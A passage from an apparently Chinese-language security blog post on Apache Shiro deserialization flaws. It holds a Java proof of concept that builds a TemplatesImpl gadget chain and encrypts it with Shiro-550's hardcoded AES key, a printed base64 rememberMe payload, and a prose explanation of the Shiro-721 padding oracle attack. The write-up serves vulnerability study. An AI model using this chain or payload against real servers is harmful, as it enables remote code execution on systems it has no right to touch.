        ctClass.makeClassInitializer().insertBefore(cmd);
        return ctClass.toBytecode();
    }
    public static void setField(Object object, String fieldName, Object fieldValue) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, fieldValue);
    }
    public static Object getPOC() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates,"_name","evil");
        JSONArray array = new JSONArray();
        array.add(templates);
        BadAttributeValueExpException badAttr = new BadAttributeValueExpException("lingx5");
        setField(badAttr,"val",array);
        HashMap hashMap = new HashMap();
        hashMap.put(templates, badAttr);
        return hashMap;
    }
    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(getPOC());
        oos.close();
        byte[] evilBytes = barr.toByteArray();
        // AES加密
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        // 创建 IV
        byte[] iv = new byte[16];
        IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
        // 创建密钥
        SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
        cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec);
        byte[] enBytes = cipher.doFinal(evilBytes);
        // 拼接 IV 和 加密后的内容
        byte[] IVAndEnBytes = new byte[iv.length + enBytes.length];
        System.arraycopy(iv, 0, IVAndEnBytes, 0, iv.length);
        System.arraycopy(enBytes, 0, IVAndEnBytes, iv.length, enBytes.length);
        // 输出 Base64 编码
        String evilBase64 = Base64.encodeToString(IVAndEnBytes);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        // 解码 Base64 编码
        byte[] decodeBytes = Base64.decode(evilBase64);
        // 提取 IV
        byte[] deIv = new byte[16];
        System.arraycopy(decodeBytes, 0, deIv, 0, deIv.length);
        byte[] encBytes = new byte[decodeBytes.length - deIv.length];
        System.arraycopy(decodeBytes, deIv.length, encBytes, 0, encBytes.length);
        // 解密
        IvParameterSpec deIvParameterSpec = new IvParameterSpec(deIv);
        cipher.init(Cipher.DECRYPT_MODE, secretKey, deIvParameterSpec);
        byte[] evil = cipher.doFinal(encBytes);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(evil);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
}
AAAAAAAAAAAAAAAAAAAAAItICRDL55PQ4M+uF/0QjIxmsxx8mwO0zL+cCUsm9HObVST6ifzXbe1pfVhnBOcNB/avKvCNhZKKEkw8li0SSbf62ZGen2JxK9GPNTlXi10Bp6j65VyUWtxVyYE4il61Wz72/9j9pR2bI9zt1UT3fuJS0J65VDDenY1jZtg/atIMZ+p+RSLOdE3fleOrFMCJxzZJvUH4WqiyimKNvfiTILCnIRbDNjNOhLBVav0QnLcqWWEoJyThGmSrlfDrJOP1rJLyFNhcOmpjnKqhPhTDl2LtenLCardHSUnk1Mp53h6QWoe3OyukgWX7R6/ygPx1zAYusF/PoAAt83QeC1re67H+fZd66t4PkN0d6159+mdLqcZGiiekCmisWpMyiomkHEIPUx8fzEd2avnJe6qy12R7Gi7D4W4b/zl7G1IQyaNka4GrWnlA2XMDaUZlBsrRtzT8htTBZZhtJKDQyFLwk4anK/LBRQ1071fozqukGjgBNHlmj+4NgCRRSijb/+BJrL0YokSjkiUfdlohqFD8kkYR/U9VZrIGbdoyn158uTlnAEBaz0thjlZPtRr2BPG5tvyqBITrdbN2LOPn0ppG/5kGIdNpHq8TkyfNYZzyB5KwMZOu5tLycy1kR8E3JPzJFiU4pMaWOMEbttNwJ2SR+d/jRvtECEoiIC5KwdzGSWkJU1PSYxO39s+CQnfpk8Oy9innnSdKiOodXQAzF1I5If/rzi6+eqp7+e0URdyoVAMK77iy1H50xKMcxCYWVnbZ9ZQL6leAI7+d/PPyjZ/Wm3YDwJYAdlis88WSfbQxNIf6CsU3b03i00EwQVXaXjoYQiHRDLSR6HMKTSaV3BPshDn8HgECp+R7h81vjyhBaSiARp+/D8fPSBPsSgdGJ3q1dw+NQmlXnYnEb1+nkF4nO6aIYJJ2ae9uTa9A7jJ4cR7mcCr0jncHtlRr8gdhrqrk5dCCdUDE7Hhxz30P19qcIBKNWNaVHL97/Kv+w3D5AzY0aNuAg5W47BCWAIK6Uo7RvmVKOEJ4BY/eCzb1MZgEzLv33CcGMwrAj+O4jW0pWLSfaSykY3UTbKL01OnBrru7c233SIrcef47RpJYmT66hk5N8ocMufLu0AaL9LcMu2p3EtzWUjPHY4P/P4OqQ45hsBkEPWhs1hgWvKoP24INrh1+vRV6gBiJ7yc37GR8ss8+Hegj6ccSjdzSg3Wg/n987w/NUlpL8UYfJ08vbMwc7k0X8tqvivg2zEbVRT50evpy+LMgCqmMcZE02WAvNovoWuLZSkSQ/B6It4uYDvdhRa7efrTYJItzSnaBwd7eNV70Md17pF5slCvmMfPoHWE0aQBYJFgbvLIFMxjyeUpwjQbL6hzqR8/8lXaFP6u9vA89YKLZstFcG6miv+GE2/qAx2ZgSKCZ2+MZH6IhGg+98sby/kGETEDbXGEk9M3n4QdgGaE6IeVg6BHHK4/BfT3Y6xY2sreazN478mUhyv1qJw9ybpUwrzdbZeSci4+CD9U19Qpxdylh3W7BTYeVhI0mR9K09CH94zXzyKpv4VuxDLBGomFLGX5hlDvq23M6/nXF/U4LRFCBS+2pfkmj/MXMyiJ8fCkKov96OTpZybriibSY3ydKF6Zve+clPk+eRGp4r0gz8usz0tkfKxSGzoA7vjJtowEijVfKybjQqDckc1dv5DTlXpRiWlhomlywu33WYi57LGIvyfk197zXRgqDCfZzOB5m1VHnGn4n36qjW4g2EeJThZQx6pThIgzzom1nVjn8cDuPjTpC7B6pOezgISzlMT3XykuBBdOG++w7mKn2dZdYNKhYKaMJ7YYdXcEmUUJPc0u02usvLVgK/IgNzLmRYJWuONEqlluqu6RYyxLp3BCmaYXDHhQxXPodalFnrXyvw3tLSahX74v4FdszCkYbPCIfsmweAjyO/+C2z7Iu4w5OaXkrAlko2kWWOIcKSO+Tf5w/hIORRVPyE3J5tj0WmSc4VKGRI2JFJD0yoWvevMLq1VV6YZZibFAbZl7LE0FHyxMw2XINEswdeyIdH8WgAhZj8ynfO78h6z9aPAS15DGgxfRgnDQXRsDghV/D+6CbXNewTtNvnpym8d7wIxlNqcOWh7eebI7qxDBu8cBFXJ63p1hMiNg69sTAMcnELDHI5fglaDwjaUKPeSZ3dw==
看到是可以执行成功的

Shiro721
影响版本:shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1)
在 shiro550 中,官方使用的加密 key 是硬编码在源代码中的,这给了攻击者利用解密的过程可以传入带有攻击的 RememberMe 载荷。
在 shiro721 中,官方是在 shiro 的内部动态生成一个用于加密的 key,不过默认使用的 AES-128-CBC 模式加密,这种加密模式可以使用 Padding Oracle Attack 攻击技术,爆破中间值,从而可以构造精心设置的 payload
关于加密模式是如何破解的,可以看这位师傅的文章:CBC 字节翻转攻击&Padding Oracle Attack 原理解析 - 枫 のBlog 讲的很详细了
简单描述一下:
加密过程:
- 对明文数据进行分组和填充,按照 BlockSize 8 字节,分成若干组,最后一组不足 8 字节,缺 
?位,用0x?填充。例如(abcd0x40x40x40x4 或者 abcde0x30x30x3) - 用 
IV和第一组明文异或得到中间值(1), 然后中间值做 AES 加密,得到第一组密文 - 利用 上一次获得的 
第一组密文,作为下一组的IV和第二组明文进行异或得到中间值(2)进行 AES 加密,得到第二组密文 - 递归上述操作,得到完整的密文
 - 把 
IV拼接到密文的最前方 进行传递 
解密过程其实就是反过了
- 把拿到的密文分组 8 字节一组,除第一组 
IV外,分别做 AES 解密,获得中间值(1),中间值(2),中间值(3)..... IV和中间值(1)异或拿到第一组明文第一组密文和中间值(2)异或拿到第二组明文
IV 和 整体的密文的 base64 编码就是 RemeberMe 字段,也就是说在 shiro 中 IV 和 密文 是可控的
我们可以控制 IV 的八个字节,先让整体为 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00,去异或根据抛出的异常在尝试 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 ~~~ 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xFF 一定会有一次让明文为 adcdefg0x01 的形式,这个填充是正确的,相当于是分组的时候,长度不够 8 个字节,填充了一位 0x01
假设 尝试的 IV 为 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x3F
那么我们可以用 0x3F 异或 0x01 的到 中间值 最后一位 为 0x3E
知道中间值了 我只需要让 IV 为 ? 令 a 异或 0x3E = ? 。这样 我们就可以控制的到的明文最后一位是 a
也就是经过多次爆破后,我们可以把 整组的中间值给爆破出来,利用异或去构造特定的 payload
Padding Oracle Attack 的基本原理就是这样,简单文字描述了一下,文章讲的很清楚,我就不抄录了。
其实 shiro721 并不是 shiro 内部逻辑的问题,而是采用的加密算法是可爆破的,给攻击者提供了一种方式,不过要正常爆破一个可用的 payload,其爆破的数量是庞大的,利用起来还是有一定的被封 ip 的可能

                
            
        
浙公网安备 33010602011771号